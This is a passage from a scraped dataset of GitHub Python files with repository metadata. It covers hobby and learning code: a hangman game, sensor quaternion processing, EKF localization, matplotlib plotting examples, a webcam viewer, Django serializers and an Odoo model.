len(startAllowable_datatypes):s.rfind(\nendAllowable_datatypes)]\nprint(fieldAllowable_datatypes)\n\nstartNonAllowable_datatypes = 'Fields-Non-Allowable_datatypes as:'\nendNonAllowable_datatypes = 'finaly Fields-otherconcerns as:'\nprint(\"*** field Non Allowable data types ***\")\nfieldNonAllowable_datatypes = s[s.find(startNonAllowable_datatypes) + len(startNonAllowable_datatypes):s.rfind(\nendNonAllowable_datatypes)]\nprint(fieldNonAllowable_datatypes)\n\nstartother = 'finaly Fields-otherconcerns as:'\nendother = ''\nprint(\"*** field other concerns are ***\")\nfieldother = s[s.find(startother) + len(startother):s.rfind(endother)]\nprint(fieldother)\n\ndatabase.conn.commit()\n\n\n\ndef _json_writing ():\n # Data to be written\n dictionary = {\n \"fieldnamesfinal\":fieldnames,\n \"fieldxpathsfinal\": fieldxpaths,\n \"fieldMax_Sizefinal\": fieldMax_Size,\n \"fieldMin_Sizefinal\": fieldMin_Size,\n \"fieldAllowable_datatypesfinal\": fieldAllowable_datatypes,\n \"fieldNonAllowable_datatypesfinal\": fieldNonAllowable_datatypes,\n \"fieldotherfinal\": fieldother,\n\n }\n\n # Serializing json\n json_object = json.dumps(dictionary, indent=4)\n\n# Writing to sample.json\n with open(\"sample.json\", \"w\") as outfile:\n outfile.write(json_object)\n print(\"#data successfully writte#\")\n\n_json_writing ()\n\ndata = database.cursor.execute('''DELETE FROM events''')\nprint(\"all data deleted\")\n","repo_name":"Thanujas/researchproject","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71295136243","text":"import random\nfrom hangman_words import word_list\nfrom hangman_art import stages\nfrom hangman_art import logo\n\nchosen_word = random.choice(word_list)\nword_length = len(chosen_word)\ngame_over = False\nlives = 6\n\nprint(logo)\n\ndisplay = []\n\n#Fill the list with blanks\nfor _ in range(word_length):\n display += \"_\"\n\nwhile not game_over:\n guess = input(\"Guess a letter: \").lower()\n\n if guess in display:\n print(f\"You've already guessed {guess}\")\n\n #Fill the blank list if chosen word contains guessed letter\n for position in range(word_length):\n letter = chosen_word[position]\n if letter == guess:\n display[position] = letter\n\n #Check if user is wrong.\n if guess not in chosen_word:\n print(f\"You guessed {guess}, that's not in the word. You lose a life.\")\n lives -= 1\n if lives == 0:\n game_over = True\n print(\"You lose.\")\n print(f\"\\nThe word was '{chosen_word}'\")\n\n #Join all the elements in the list and turn it into a String.\n print(f\"{' '.join(display)}\")\n\n #Check if user has got all letters.\n if \"_\" not in display:\n end_of_game = True\n print(\"You win.\")\n\n print(stages[lives])\n","repo_name":"v-vlasenko/100-days-of-code-python","sub_path":"day07/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5370371673","text":"int_size = 4\r\nwith open(\"binary.dat\", \"rb+\") as f:\r\n while True:\r\n print(f\"Current cursor position = {f.tell()}\")\r\n print(\"1-read\")\r\n print(\"2-write\")\r\n print(\"3-exit\")\r\n choice = int(input(\"Choose: \"))\r\n\r\n if choice == 1:\r\n pos = int(input(\"Give position(0-3) to read: \"))\r\n f.seek(int_size*pos, 0)\r\n b = f.read(int_size)\r\n print(f\"value in pos {pos} = {int.from_bytes(b, byteorder='big')}\")\r\n elif choice == 2:\r\n pos = int(input(\"Give position(0-3) to write: \"))\r\n f.seek(int_size*pos, 0)\r\n val = int(input(\"Give new value: \"))\r\n f.write(val.to_bytes(int_size, byteorder='big'))\r\n print(f\"value in pos {pos} changed to {val}\")\r\n else:\r\n break\r\n","repo_name":"psounis/python","sub_path":"lesson15/random.access.py","file_name":"random.access.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"75"} +{"seq_id":"70439117683","text":"\nimport sys\nimport os\nsys.path.append(os.pardir)\n\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Common Module\nfrom common.container import Control\n\n# Grid Map Module\nfrom grid_map.grid_map_2d import GridMap2DConfigParams\nfrom grid_map.grid_map_2d import GridMap2D\nfrom grid_map.grid_map_2d import GridMap2DDrawer\n\n# Sensing Module\nfrom sensing_model.virtual_lm_detector2d import VirtualLMDetectorConfigParams\nfrom sensing_model.virtual_lm_detector2d import VirtualLMDetector\n\n# Test Data Module\nfrom tests.test_data import draw_path\nfrom tests.test_data import create_robocup_field\nfrom tests.test_data import create_robocup_ellipse_path\n\n# EKF Localizer Module\nfrom localizer.ekf_localizer import EKFLocalizerConfigParams\nfrom localizer.ekf_localizer import EKFKCMeas\nfrom localizer.ekf_localizer import EKFLocalizerKC\n\ndef generate_noised_control(ctrl, err_v_v, err_v_omg, err_omg_v, err_omg_omg):\n \n sig_v = err_v_v * abs(ctrl.v) + err_v_omg * abs(ctrl.omg)\n sig_omg = err_omg_v * abs(ctrl.v) + err_omg_omg * abs(ctrl.omg)\n v_noised = ctrl.v + np.random.normal(0, sig_v)\n omg_noised = ctrl.omg + np.random.normal(0, sig_omg)\n return Control(v=v_noised, omg=omg_noised)\n\ndef draw_result(plt, true_pose_list, mm_pose_list, ekf_pose_list, poles, meas_idx):\n\n plt.xlim(-2.6, 2.6)\n plt.ylim(-1.85, 1.85)\n\n for idx, pose in enumerate(ekf_pose_list):\n if (idx == 0):\n plt.scatter(pose.x, pose.y, s=20, c='r', label='EKF Localization')\n else:\n plt.scatter(pose.x, pose.y, s=20, c='r')\n\n for idx, pose in enumerate(mm_pose_list):\n if (idx == 0):\n plt.scatter(pose.x, pose.y, s=10, c='blue', label='Motion Model')\n else:\n plt.scatter(pose.x, pose.y, s=10, c='blue')\n\n for idx, pose in enumerate(true_pose_list):\n if (idx == 0):\n plt.scatter(pose.x, pose.y, s=10, c='k', label='Ground Truth')\n else:\n plt.scatter(pose.x, pose.y, s=10, c='k')\n\n for idx, pole in enumerate(poles):\n print(meas_idx)\n if (idx in meas_idx):\n plt.scatter(pole.x, pole.y, s=160, c='y')\n else:\n plt.scatter(pole.x, pole.y, s=40, c='k')\n\n plt.legend(bbox_to_anchor=(0, 0.6), loc='upper left')\n\n\nif __name__ == \"__main__\":\n print(__file__ + \"Started!\")\n\n # GridMap Preparation\n grid_conf_fld = GridMap2DConfigParams(\n x_min=-2.70,y_min=-1.95,x_max=2.7,y_max=1.95,reso=0.02, init_val=0.0)\n grid_conf_loc = GridMap2DConfigParams(\n x_min=-2.70,y_min=-1.95,x_max=2.7,y_max=1.95,reso=0.02, init_val=0.0)\n grid2d_gt = GridMap2D(gridmap_config=grid_conf_fld)\n grid2d_loc = GridMap2D(gridmap_config=grid_conf_fld)\n\n dT = 0.05\n poles = create_robocup_field(grid2d_gt)\n poles = create_robocup_field(grid2d_loc)\n ellipse_path, controls = create_robocup_ellipse_path(dT)\n draw_path(ellipse_path, grid2d_gt)\n\n # Virutual Detector\n vir_lm_det_conf = VirtualLMDetectorConfigParams(\\\n range_max=2.0,\n fov=math.pi)\n vir_lm_det = VirtualLMDetector(config=vir_lm_det_conf, lm_coord_list=poles)\n\n # EKF Localizer\n err_v_v = 0.2\n err_v_omg = 0.1\n err_omg_v = 0.1\n err_omg_omg = 0.1\n ekf_conf = EKFLocalizerConfigParams(\n dT=dT, \\\n err_v_v=err_v_v, err_v_omg=err_v_omg,\n err_omg_v=err_omg_v, err_omg_omg=err_omg_omg,\n err_r=0.01, err_phi=0.05, err_feat=1.0)\n ekf_localizer = EKFLocalizerKC(config=ekf_conf, landmarks=poles, ini_pose=ellipse_path[0])\n\n mm_pose_list = []\n true_pose_list = []\n ekf_pose_list = []\n for index, true_pose in enumerate(ellipse_path):\n \n ctrl = controls[index-1]\n noised_ctrl = generate_noised_control(ctrl, err_v_v, err_v_omg, err_omg_v, err_omg_omg)\n # Generate Detection\n idx_list, meas_list = vir_lm_det.detect(pose=true_pose)\n meas = EKFKCMeas(corresp_list=idx_list, meas_list=meas_list) \n\n # Localize by EKF\n ekf_pose, sig, likelihood = ekf_localizer.localize(control=noised_ctrl, meas=meas)\n mm_pose = ekf_localizer.get_motion_model_pose()\n\n if (index % 25 == 0):\n GridMap2DDrawer.draw_point(grid2d_loc, ekf_pose.x, ekf_pose.y, 0.04, 1.0)\n mm_pose_list.append(mm_pose)\n true_pose_list.append(true_pose)\n ekf_pose_list.append(ekf_pose)\n plt.cla()\n draw_result(plt, true_pose_list, mm_pose_list, ekf_pose_list, poles, idx_list)\n plt.pause(0.1)\n\n plt.show()\n\n","repo_name":"koichiHik/prob_robotics","sub_path":"tests/ekf_localization_example.py","file_name":"ekf_localization_example.py","file_ext":"py","file_size_in_byte":4364,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"20253407451","text":"#euler_order: roll, pitch, yaw\n#original euler_order: yaw pitch roll\n#euler_order in oriTrakHAR: roll yaw pitch\n\nfrom scipy.interpolate import CubicSpline\nimport transformations\nimport numpy as np\nimport collections\nimport os\nimport time\nimport threading\nimport queue\nfrom pyquaternion import Quaternion\nthreshold = 1\n\ndef display(quat):\n print(quat[0], quat[1], quat[2], quat[3])\n\ndef processRow(data_dirs, t):\n torsoInterpo = createInterpolator(data_dirs[0])\n headInterpo = createInterpolator(data_dirs[1])\n leftInterpo = createInterpolator(data_dirs[2])\n rightInterpo = createInterpolator(data_dirs[3])\n\n torsoQuats = torsoInterpo[3].evaluate(t)\n headQuats = headInterpo[3].evaluate(t)\n leftQuats = leftInterpo[3].evaluate(t)\n rightQuats = rightInterpo[3].evaluate(t)\n torsoAccs = (torsoInterpo[0].evaluate(t), torsoInterpo[1].evaluate(t), torsoInterpo[2].evaluate(t))\n headAccs = (headInterpo[0].evaluate(t), headInterpo[1].evaluate(t), headInterpo[2].evaluate(t))\n leftAccs = (leftInterpo[0].evaluate(t), leftInterpo[1].evaluate(t), leftInterpo[2].evaluate(t))\n rightAccs = (rightInterpo[0].evaluate(t), rightInterpo[1].evaluate(t), rightInterpo[2].evaluate(t))\n \n\n #torsoOffset = Quaternion([-0.01483, 0.659224, 0.747234, 0.082578])\n #headOffset = Quaternion([-0.101687, 0.62569, 0.77248, 0.038392])\n torsoOffset = Quaternion([1, 0, 0, 0])\n headOffset = Quaternion([1, 0, 0, 0])\n for i in t:\n torsoQuat = next(torsoQuats)\n #print(torsoQuat[0], torsoQuat[1], torsoQuat[2], torsoQuat[3])\n torsoQuatValid = torsoQuat[0] is not None and not (torsoQuat[0] == torsoQuat[1] and torsoQuat[0] == torsoQuat[2] and torsoQuat[0] == torsoQuat[3])\n if torsoQuatValid:\n correctedTorsoQuat = torsoQuat*torsoOffset\n #display(correctedTorsoQuat)\n torsoAcc = []\n torsoAcc.append(next(torsoAccs[0]))\n torsoAcc.append(next(torsoAccs[1]))\n torsoAcc.append(next(torsoAccs[2]))\n torsoAccMag = np.linalg.norm(torsoAcc)\n if torsoAccMag < threshold:\n torsoOffset = Calibrate(torsoQuat)\n #print(torsoOffset)\n \n headQuat = next(headQuats)\n headQuatValid = headQuat[0] is not None and not (headQuat[0] == headQuat[1] and headQuat[0] == headQuat[2] and headQuat[0] == headQuat[3])\n if headQuatValid:\n correctedHeadQuat = headQuat*headOffset\n headAcc = []\n headAcc.append(next(headAccs[0]))\n headAcc.append(next(headAccs[1]))\n headAcc.append(next(headAccs[2]))\n headAccMag = np.linalg.norm(headAcc)\n if torsoQuatValid:\n headRelativeQuat = correctedTorsoQuat.inverse*correctedHeadQuat\n #headRelative = transformations.euler_from_quaternion(headRelativeQuat)\n headAccRelative = [headAcc[i] - torsoAcc[i] for i in range(0, 3)]\n if headAccMag < threshold:\n headOffset = Calibrate(headQuat)\n #print(headOffset)\n leftQuat = next(leftQuats)\n leftQuatValid = leftQuat[0] is not None and not (leftQuat[0] == leftQuat[1] and leftQuat[0] == leftQuat[2] and leftQuat[0] == leftQuat[3])\n if leftQuatValid:\n leftAcc = []\n leftAcc.append(next(leftAccs[0])) \n leftAcc.append(next(leftAccs[1]))\n leftAcc.append(next(leftAccs[2]))\n if torsoQuatValid:\n leftRelativeQuat = correctedTorsoQuat.inverse*leftQuat\n #leftRelative = transformations.euler_from_quaternion(leftRelativeQuat)\n #display(leftQuat)\n leftAccRelative = [leftAcc[i] - torsoAcc[i] for i in range(0, 3)]\n\n rightQuat = next(rightQuats)\n rightQuatValid = rightQuat[0] is not None and not (rightQuat[0] == rightQuat[1] and rightQuat[0] == rightQuat[2] and rightQuat[0] == rightQuat[3])\n if rightQuatValid:\n rightAcc = []\n rightAcc.append(next(rightAccs[0]))\n rightAcc.append(next(rightAccs[1]))\n rightAcc.append(next(rightAccs[2]))\n if torsoQuatValid:\n rightRelativeQuat = correctedTorsoQuat.inverse*rightQuat\n #rightRelative = transformations.euler_from_quaternion(rightRelativeQuat)\n rightAccRelative = [rightAcc[i] - torsoAcc[i] for i in range(0, 3)]\n yield (headRelativeQuat, leftRelativeQuat, rightRelativeQuat, headAccRelative, leftAccRelative, rightAccRelative)\n\n\n\ndef readData(inds, queues, data_dir):\n f = os.open(data_dir, os.O_NONBLOCK)\n while True:\n try:\n line = os.read(f, 4096).decode()\n if len(line) > 0:\n line = line.split('\\n')[-2]\n linelist = line.split(',')\n t = float(linelist[0])\n for i, ind in enumerate(inds):\n result = []\n for j in ind:\n result.append(float(linelist[j]))\n queues[i].put((t, result))\n else:\n time.sleep(0.05)\n except OSError as err:\n if err.errno == 11:\n continue\n else:\n raise err\n \n\n\ndef createInterpolator(data_dir):\n queues = [queue.Queue() for i in [0, 1, 2, 3]]\n th = threading.Thread(target=readData, args=([[3], [4], [5], [12, 13, 14]], queues, data_dir))\n th.daemon = True\n th.start()\n acc_x_inter = InterpoCubic(queues[0])\n acc_y_inter = InterpoCubic(queues[1])\n acc_z_inter = InterpoCubic(queues[2])\n quat_inter = InterpoQuat(queues[3])\n\n return (acc_x_inter, acc_y_inter, acc_z_inter, quat_inter)\n\n\nclass InterpoQuat:\n def __init__(self, data_time):\n self.data_time = data_time\n\n def evaluate(self, t):\n t0, data0 = self.data_time.get(block=True)\n t1, data1 = self.data_time.get(block=True)\n q = []\n for i in range(0, len(t)):\n while t[i] > t1:\n t0 = t1\n data0 = data1\n t1, data1 = self.data_time.get(block=True)\n\n #Here I assumed roll pitch yaw, but data may come in a different order\n q0 = transformations.quaternion_from_euler(data0[0], data0[1], data0[2]) \n q1 = transformations.quaternion_from_euler(data1[0], data1[1], data1[2])\n q0 = Quaternion(q0[3], q0[0], q0[1], q0[2])\n q1 = Quaternion(q1[3], q1[0], q1[1], q1[2])\n\n w = (t[i] - t0)/(t1 - t0)\n yield Quaternion.slerp(q0, q1, w)\n\nclass InterpoCubic:\n def __init__(self, data_time):\n self.data_time = data_time\n\n def evaluate(self, t):\n qtime = collections.deque([])\n qdata = collections.deque([])\n for i in range(0, 11):\n time, data = self.data_time.get(block=True)\n qtime.append(time)\n qdata.append(data)\n for i in range(0, len(t)):\n while t[i] > qtime[5]:\n time, data = self.data_time.get(block=True)\n qtime.append(time)\n qdata.append(data)\n qtime.popleft()\n qdata.popleft()\n poly = CubicSpline(qtime, qdata)\n yield poly(t)\n\ndef Calibrate(quat):\n #torsoZRotate = Quaternion([0.707, 0, 0, 0.707])\n torsoZRotate = Quaternion([1, 0, 0, 0])\n offset = quat*torsoZRotate\n euler = list(transformations.euler_from_quaternion([offset[1], offset[2], offset[3], offset[0]]))\n euler[0] = 0 #roll\n euler[1] = 0 #pitch\n expected = transformations.quaternion_from_euler(euler[0], euler[1], euler[2])\n expected = Quaternion(expected[3], expected[0], expected[1], expected[2])\n Offset = quat.inverse*expected\n return Offset\n\n","repo_name":"JW2473/Posture-Reconstruction","sub_path":"python-code/processStream.py","file_name":"processStream.py","file_ext":"py","file_size_in_byte":7804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43516150703","text":"#!/usr/bin/python \n\n# script by Jordi Binefa | http://binefa.com/blog/2013/10/webcam-viewer-using-python-pyqt-pygame/\nimport sys\nimport pygame.image\nimport pygame.camera\nfrom PyQt4 import Qt, QtCore, QtGui\nfrom time import sleep\n\ndef funcioTemporitzada():\n\tglobal webcamImage,cam\n\timg = cam.get_image()\n\tpygame.image.save(img, \"photo.jpg\")\t\n\twebcamPixmap = QtGui.QPixmap('photo.jpg')\n\twebcamImage.setPixmap(webcamPixmap)\n\npygame.camera.init()\ncam = pygame.camera.Camera(pygame.camera.list_cameras()[0])\ncam.start()\n\na = Qt.QApplication(sys.argv)\nwebcamImage = Qt.QLabel()\nfuncioTemporitzada()\nwidget = Qt.QWidget()\nverticalBox = Qt.QVBoxLayout()\nverticalBox.addWidget(webcamImage)\nwidget.setLayout(verticalBox)\nwidget.show()\ntemporitzador = QtCore.QTimer()\na.connect(temporitzador, Qt.SIGNAL(\"timeout()\"), funcioTemporitzada)\ntemporitzador.start(250)\na.exec_()\n\npygame.camera.quit()\n","repo_name":"ferrithemaker/Jumble","sub_path":"pythonscripts/webcamviewer.py","file_name":"webcamviewer.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"75"} +{"seq_id":"33043187150","text":"from settings import *\n\ndef partition(participants, partitions, reliability):\n if sum(partitions) != participants: \n raise ValueError(str(partitions)+\" \"+str(participants))\n ptop = {}\n j = 0\n r = {}\n for i in range(participants):\n while len(partitions) > 0 and partitions[0] == 0:\n j += 1\n partitions.pop(0)\n if len(partitions) > 0:\n partitions[0] -= 1\n ptop[i] = j\n for i in range(participants):\n for j in range(participants):\n if i == j:\n continue\n if ptop[i] == ptop[j]:\n r[(i,j)] = 100\n else:\n r[(i,j)] = reliability\n return r\n\ndef reliability(x):\n return partition(CONFIG.PARTICIPANTS, list(CONFIG.PARTITIONS), x)\n","repo_name":"scj7t4/NetEmu","sub_path":"Simulator/multitools.py","file_name":"multitools.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73579739443","text":"# 导入随机工具包\n# 注意:在导入工具包的时候,应该将导入的语句放在文件的顶部\n# 因为这样可以方便下方的代码在任何需要的时候,使用工具包中的工具\nimport random\n\n# 从控制台输入要出的拳----石头(1)/剪刀(2)/布(3)\nplayer = int(input(\"请输入您要出的拳--石头(1)/剪刀(2)/布(3):\"))\n\n# 电脑随机出拳\ncomputer = random.randint(1, 3)\n\n# 打印出拳信息\nprint(\"玩家选择的拳头是%d, 电脑选择的拳头是%d\" %(player, computer))\n\n# 比较胜负\n# 1.石头 胜 剪刀\n# 2.剪刀 胜 布\n# 3.布 胜 石头\n# 增加括号可以将下面的or向下回车缩进\nif ((player == 1 and computer == 2)\n or (player == 2 and computer == 3)\n or (player == 3 and computer == 1)):\n\n print(\"玩家胜利,电脑弱爆了\")\n# 平局\nelif player == computer:\n print(\"真是心有灵犀,再来一局\")\n# 其他情况电脑胜利\nelse:\n print(\"不服气,我们决战到天亮!\")","repo_name":"xuxiuzhi2627/meachine-learning","sub_path":"02_分支/hm_08_石头剪刀布.py","file_name":"hm_08_石头剪刀布.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"zh","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"15532118516","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 12 15:00:42 2020\n\n@author: TN90072\n\nhttps://matplotlib.org/3.3.2/gallery/index.html\nhttps://habr.com/ru/post/468295/\nhttps://python-graph-gallery.com/matplotlib/\n\n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\n# Generate a sequence of numbers from 0 to 10 with 50 steps in between\nx = np.linspace(0, 10, 50)\ny = x\n# Построение графика\nplt.title(\"Линейная зависимость y = x\") # заголовок\nplt.xlabel(\"x\") # ось абсцисс\nplt.ylabel(\"y\") # ось ординат\nplt.grid() # включение отображение сетки\nplt.plot(x, y) # построение графика\n\nplt.show()\n\n#%%\n# 2 линии на одной диаграмме\n\n#Линейная зависимость\nx = np.linspace(0, 10, 50)\ny1 = x\n# Квадратичная зависимость\ny2 = [i**2 for i in x]\n# Построение графика\nplt.title(\"Зависимости: y1 = x, y2 = x^2\") # заголовок\nplt.xlabel(\"x\") # ось абсцисс\"\nplt.ylabel(\"y1, y2\") # ось ординат\"\nplt.grid() # включение отображение сетки\nplt.plot(x, y1, x, y2) # построение графика\"\n\n#%%\n# 3 диаграммы\n\n # Линейная зависимость\nx = np.linspace(0, 10, 50)\ny1 = x\n# Квадратичная зависимость\ny2 = [i**2 for i in x]\n# Кубическая зависимость\ny3 = [i**3 for i in x]\n# Построение графиков\nplt.figure(figsize=(9, 9))\nplt.subplot(3, 1, 1)\nplt.plot(x, y1) # построение графика\nplt.title(\"Зависимости: y1 = x, y2 = x^2\") # заголовок\nplt.ylabel(\"y1\", fontsize=14) # ось ординат\nplt.grid(True) # включение отображение сетки\nplt.subplot(3, 1, 2)\nplt.plot(x, y2) # построение графика\nplt.xlabel(\"x\", fontsize=14) # ось абсцисс\nplt.ylabel(\"y2\", fontsize=14) # ось ординат\nplt.grid(True) # включение отображение сетки\nplt.subplot(3, 1, 3),\nplt.plot(x, y3) # построение графика\nplt.xlabel(\"x\", fontsize=14) # ось абсцисс,\nplt.ylabel(\"y3\", fontsize=14) # ось ординат\nplt.grid(True) # включение отображение сетки\"\n\n#%%\n# синусоида\n\nimport math\nx = np.linspace(0, 10, 500)\n\n#https://www.mathsisfun.com/algebra/amplitude-period-frequency-phase-shift.html\nA = 1\nB = 1\nC = 0\nD = 0\n\n# amplitude is A\n# period is 2π/B\n# phase shift is C (positive is to the left)\n# vertical shift is D\n\ny = [A * math.sin(B * (i + C)) + D for i in x]\n\nplt.title(\"Зависимость: Синусоида\") # заголовок\nplt.xlabel(\"x\") # ось абсцисс\nplt.ylabel(\"y\") # ось ординат\nplt.grid() # включение отображение сетки\nplt.plot(x, y) # построение графика\"\nplt.savefig(\"sine.png\")\n\n#%%\n# гипербола\n\nx1 = np.linspace(-10, 0, 50)\nx2 = np.linspace(0, 10, 50)\nx1 = np.delete(x1, 0)\nx2 = np.delete(x2, 0)\n\nk = 1\n\n# Квадратичная зависимость\ny1 = [k/i for i in x1]\ny2 = [k/i for i in x2]\n\n# Построение графика\nplt.title(\"Зависимость y = 1/x\") # заголовок\nplt.xlabel(\"x\") # ось абсцисс\",\nplt.ylabel(\"y\") # ось ординат\",\nplt.grid() # включение отображение сетки\nplt.plot(x1, y1, x2, y2) # построение графика\"\n\n#%%\n\n# парабола\n\nx = np.linspace(-5, 5, 50)\n\na = 1 # расхождение\nb = 2 # смещение x ??????? не работает\nc = 0 # смещение y\n\n# Квадратичная зависимость\ny1 = [a*((i**2)-b)+c for i in x]\ny2 = [a*((i**3)-b)+c for i in x]\n\n# Построение графика\nplt.title(\"Парабола\") # заголовок\nplt.xlabel(\"x\") # ось абсцисс\nplt.ylabel(\"y\") # ось ординат\",\nplt.grid() # включение отображение сетки\nplt.ylim(-5, 5) # set the ylim to bottom, top\nplt.plot(x, y1, x, y2) # построение графика\n\n#%%\nx = np.random.random_sample(size=5000) \ny = np.random.random_sample(size=5000)\n\n# Построение графика\nplt.title(\"Случайный массив\") # заголовок\nplt.xlabel(\"x\") # ось абсцисс\nplt.ylabel(\"y\") # ось ординат\nplt.grid() # включение отображение сетки\nplt.plot(x, y, 'o', color='black', markersize = 0.7)\n\n#%%\nrng = np.random.RandomState(0)\nfor marker in ['o', '.', ',', 'x', '+', 'v', '^', '<', '>', 's', 'd']:\n plt.plot(rng.rand(5), rng.rand(5), marker,\n label=\"marker='{0}'\".format(marker))\nplt.legend(numpoints=1)\nplt.xlim(0, 1.8)\n\n#%%\nfrom sklearn.datasets import load_iris\niris = load_iris()\nfeatures = iris.data.T\n\nplt.scatter(features[0], features[1], alpha=0.2,\n s=100*features[3], c=iris.target, cmap='viridis')\nplt.xlabel(iris.feature_names[0])\nplt.ylabel(iris.feature_names[1])\n\n#%%\n# https://www.freecodecamp.org/news/how-to-embed-interactive-python-visualizations-on-your-website-with-python-and-matplotlib/\n# синусоида с управлением\n\nimport math\nx = np.linspace(0, 10, 500)\n\n#https://www.mathsisfun.com/algebra/amplitude-period-frequency-phase-shift.html\nA = 1\nB = 1\nC = 0\nD = 0\n\n# amplitude is A\n# period is 2π/B\n# phase shift is C (positive is to the left)\n# vertical shift is D\n\ny = [A * math.sin(B * (i + C)) + D for i in x]\n\nplt.title(\"Зависимость: Синусоида\") # заголовок\nplt.xlabel(\"x\") # ось абсцисс\nplt.ylabel(\"y\") # ось ординат\nplt.grid() # включение отображение сетки\nplt.plot(x, y) # построение графика\"\nplt.savefig(\"sine.png\")\n\n#%%\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.widgets import Slider, Button, RadioButtons\n\nfig, ax = plt.subplots()\nplt.subplots_adjust(left=0.25, bottom=0.25)\nt = np.arange(0.0, 1.0, 0.001)\na0 = 5\nf0 = 3\ndelta_f = 5.0\ns = a0 * np.sin(2 * np.pi * f0 * t)\nl, = plt.plot(t, s, lw=2)\nax.margins(x=0)\n\naxcolor = 'lightgoldenrodyellow'\naxfreq = plt.axes([0.25, 0.1, 0.65, 0.03], facecolor=axcolor)\naxamp = plt.axes([0.25, 0.15, 0.65, 0.03], facecolor=axcolor)\n\nsfreq = Slider(axfreq, 'Freq', 0.1, 30.0, valinit=f0, valstep=delta_f)\nsamp = Slider(axamp, 'Amp', 0.1, 10.0, valinit=a0)\n\n\ndef update(val):\n amp = samp.val\n freq = sfreq.val\n l.set_ydata(amp*np.sin(2*np.pi*freq*t))\n fig.canvas.draw_idle()\n\n\nsfreq.on_changed(update)\nsamp.on_changed(update)\n\nresetax = plt.axes([0.8, 0.025, 0.1, 0.04])\nbutton = Button(resetax, 'Reset', color=axcolor, hovercolor='0.975')\n\n\ndef reset(event):\n sfreq.reset()\n samp.reset()\nbutton.on_clicked(reset)\n\nrax = plt.axes([0.025, 0.5, 0.15, 0.15], facecolor=axcolor)\nradio = RadioButtons(rax, ('red', 'blue', 'green'), active=0)\n\n\ndef colorfunc(label):\n l.set_color(label)\n fig.canvas.draw_idle()\nradio.on_clicked(colorfunc)\n\nplt.show()\n\n#%%\ndef mandelbrot(n_rows, n_columns, iterations):\n x_cor = np.linspace(-2,1,n_rows)\n y_cor = np.linspace(-2,1,n_columns)\n x_len = len(x_cor)\n y_len = len(y_cor)\n output = np.zeros((x_len,y_len))\n for i in range(x_len):\n for j in range(y_len):\n c = complex(x_cor[i],y_cor[j])\n z = complex(0, 0)\n count = 0\n for k in range(iterations):\n z = (z * z) + c\n count = count + 1\n if (abs(z) > 4):\n break\n output[i,j] = count\n print((i/x_len)*100,\"% completed\")\n print(output)\n plt.imshow(output.T, cmap = \"hot\")\n plt.axis(\"off\")\n plt.show()\nmandelbrot(1000,1000,150)\n \n#%%\ndef mandelbrot(n_rows, n_columns, iterations, cx, cy):\n x_cor = np.linspace(-2, 2, n_rows)\n y_cor = np.linspace(-2, 2, n_columns)\n x_len = len(x_cor)\n y_len = len(y_cor)\n output = np.zeros((x_len,y_len))\n c = complex(cx, cy)\n for i in range(x_len):\n for j in range(y_len):\n z = complex(x_cor[i], y_cor[j])\n count = 0\n for k in range(iterations):\n z = (z * z) + c\n count = count + 1\n if (abs(z) > 4):\n break\n output[i,j] = count\n print(int((i/x_len)*100),\"% completed\")\n print(output)\n plt.imshow(output.T, cmap='hot')\n plt.axis(\"off\")\n plt.show()\nmandelbrot(1000,1000,150,0.1,0.1)","repo_name":"RollieTheLynx/Problems_VScode","sub_path":"Small excersises/mathplotlib.py","file_name":"mathplotlib.py","file_ext":"py","file_size_in_byte":8776,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"1757058916","text":"from rest_framework.serializers import (\n ModelSerializer, CharField,\n PrimaryKeyRelatedField,\n)\nfrom .models import HomeInfo, AboutInfo\nfrom videos.models import Video\nfrom videos.serializers import ThumbnailVideoSerializer\n\nclass HomeInfoSerializer(ModelSerializer):\n name = CharField(read_only=True, source='get_info_name')\n featured_video = ThumbnailVideoSerializer()\n\n class Meta:\n model = HomeInfo\n fields = (\n 'name',\n 'facebook_url',\n 'instagram_url',\n 'twitter_url',\n 'logo_url',\n 'video_banner_url',\n 'featured_video',\n 'info_1',\n 'info_2',\n )\n\nclass PutHomeInfoSerializer(HomeInfoSerializer):\n featured_video = PrimaryKeyRelatedField(\n queryset=Video.objects.filter(\n published_at__isnull=False\n )\n )\n\nclass AboutInfoSerializer(ModelSerializer):\n name = CharField(read_only=True, source='get_info_name')\n\n class Meta:\n model = AboutInfo\n fields = (\n 'name',\n 'text',\n 'photo_url',\n 'showreel_url',\n )\n","repo_name":"liobernard/7mmedia-api","sub_path":"info/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23328335540","text":"# -*- coding: utf-8 -*-\nfrom odoo import models, fields, api\nfrom odoo.exceptions import ValidationError\n\nimport logging\n_logger = logging.getLogger(__name__)\n\n\nclass pvs(models.Model):\n _name = 'practicabusqueda.pvs'\n _description = 'practicabusqueda.pvs'\n\n # Semana del 1 al 7 de junio\n name = fields.Char(\n string='field_name',\n ) \n # AERONAVE\n escuadron_id = fields.Many2one(\n string='Escuadron:',\n comodel_name='practicabusqueda.escuadron',\n ondelete='restrict',\n )\n # FECHA INICIO\n fecha_inicio = fields.Date(\n string='Fecha Inicio:',\n 